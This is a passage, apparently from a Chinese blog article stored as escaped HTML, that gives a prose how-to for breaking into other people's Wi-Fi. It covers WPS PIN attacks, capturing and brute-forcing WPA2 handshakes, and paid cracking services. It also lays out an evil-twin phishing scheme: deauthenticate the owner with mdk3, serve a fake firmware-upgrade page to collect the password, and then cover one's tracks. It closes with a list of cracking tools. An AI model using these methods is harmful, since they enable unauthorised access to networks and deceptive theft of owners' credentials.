u90a3\u4e48\u606d\u559c\u4f60\uff0c\u79d2\u7834\uff0c\u4f46\u662f\u8fd9\u79cd\u73b0\u5728\u4e5f\u5c11\u89c1\u4e86\u3002\u5047\u5982PIN\u7801\u4e0d\u80fd\u88ab\u8ba1\u7b97\uff0c\u667a\u80fd\u8dd1PIN\u4e86\uff0c\u65f6\u95f4\u8ddf\u8fd0\u6c14\u90fd\u662f\u6210\u529f\u7684\u56e0\u7d20\uff0c\u65b0\u578b\u7684\u8def\u7531\u5668\u5f88\u591a\u90fd\u9632\u6b62PIN\u3002\r\n</p>\r\n<p>\r\n\t\u5047\u5982WPA2\u52a0\u5bc6\uff0c\u6ca1\u5f00WPS\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u53ea\u80fd\u6293\u5305\u4e86\uff0c\u7a77\u4e3e\u5bc6\u7801\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u91cc\u4e0d\u8ba8\u8bba\u5982\u4f55\u6293\u5305\uff0c\u8dd1\u5305\u7684\u8bdd\u8981\u60f3\u66f4\u5feb\u7684\u8dd1\u51fa\u6765\uff0c\u53ef\u4ee5\u53bb\u6dd8\u5b9d\u4e0a\u627e\u76f8\u5173\u7684\u670d\u52a1\uff0c\u82b1\u51e0\u5757\u94b1\u8bd5\u4e00\u4e0b\uff0c\u4e00\u822c\u8dd1\u4e0d\u51fa\u6765\u662f\u4e0d\u6536\u8d39\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u8fd8\u6709\u79cd\u65b9\u6cd5\u5c31\u662f\u9493\u9c7c\uff0c\u865a\u62df\u4e2assid\u4e00\u6837\u7684wifi\u51fa\u6765\uff0c\u5bc6\u7801\u4e3a\u7a7a\uff0c\u7136\u540e\u4f7f\u7528mdk3\u653b\u51fb\u76ee\u6807wifi\u4f7f\u5176\u6389\u7ebf\uff0c\u5f53wifi\u4e3b\u4eba\u8fde\u63a5\u4e0d\u4e0a\u771f\u5b9e\r\nwifi\u7684\u65f6\u5019\u4e00\u822c\u4f1a\u5c1d\u8bd5\u8fde\u63a5\u5230\u4f2a\u9020\u7684wifi\u4e0a\uff0c\u8fde\u63a5\u6210\u529f\u540e\u91cd\u5b9a\u5411\u6240\u6709\u8bf7\u6c42\u5230\u81ea\u5df1\u7684\u9493\u9c7c\u9875\u9762\uff0c\u6bd4\u5982\u201c\u7531\u4e8e\u8def\u7531\u5668\u56fa\u4ef6\u592a\u65e7\uff0c\u5bfc\u81f4\u7f51\u7edc\u4e0d\u7a33\u5b9a\uff0c\u53ef\u4ee5\u901a\u8fc7\u5347\u7ea7\r\n\u8def\u7531\u5668\u56fa\u4ef6\u63d0\u9ad8\u7a33\u5b9a\u6027\uff0c\u8f93\u5165wifi\u5bc6\u7801\u540e\u70b9\u51fb\u786e\u8ba4\u5347\u7ea7\u201d\u8fd9\u79cd\u6bd4\u8f83\u6709\u8ff7\u60d1\u6027\u7684\u6587\u5b57\uff0c\u62ff\u5230wifi\u5bc6\u7801\u540e\u6df1\u85cf\u529f\u4e0e\u540d\u3002\r\n</p>\r\n<p>\r\n\t\u5927\u4f53\u4e0a\u5c31\u8fd9\u4e9b\u601d\u8def\u4e86\uff0c\u90fd\u662f\u6bd4\u8f83\u57fa\u7840\u6613\u61c2\uff0c\u6700\u540e\u63a8\u8350\u4e00\u4e9b\u5e38\u7528\u7684\u5de5\u5177\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u5de5\u5177\r\n</h2>\r\n<p>\r\n\tCDLINUX \u4e00\u6b3e\u7889\u5821\u7684\u65e0\u7ebf\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edf\r\n</p>\r\n<p>\r\n\twifite \u81ea\u52a8\u5316\u7834\u89e3wifi\u795e\u5668\r\n</p>\r\n<p>\r\n\taircrack-ng \u7ecf\u5178\u7684wifi\u5206\u6790\u7834\u89e3\u8f6f\u4ef6\r\n</p>\r\n<p>\r\n\t\u5e7b\u5f71wifi \u5b89\u5353\u4e0b\u9762\u7834\u89e3wifi\u7684\u795e\u5668\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23398 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]}
]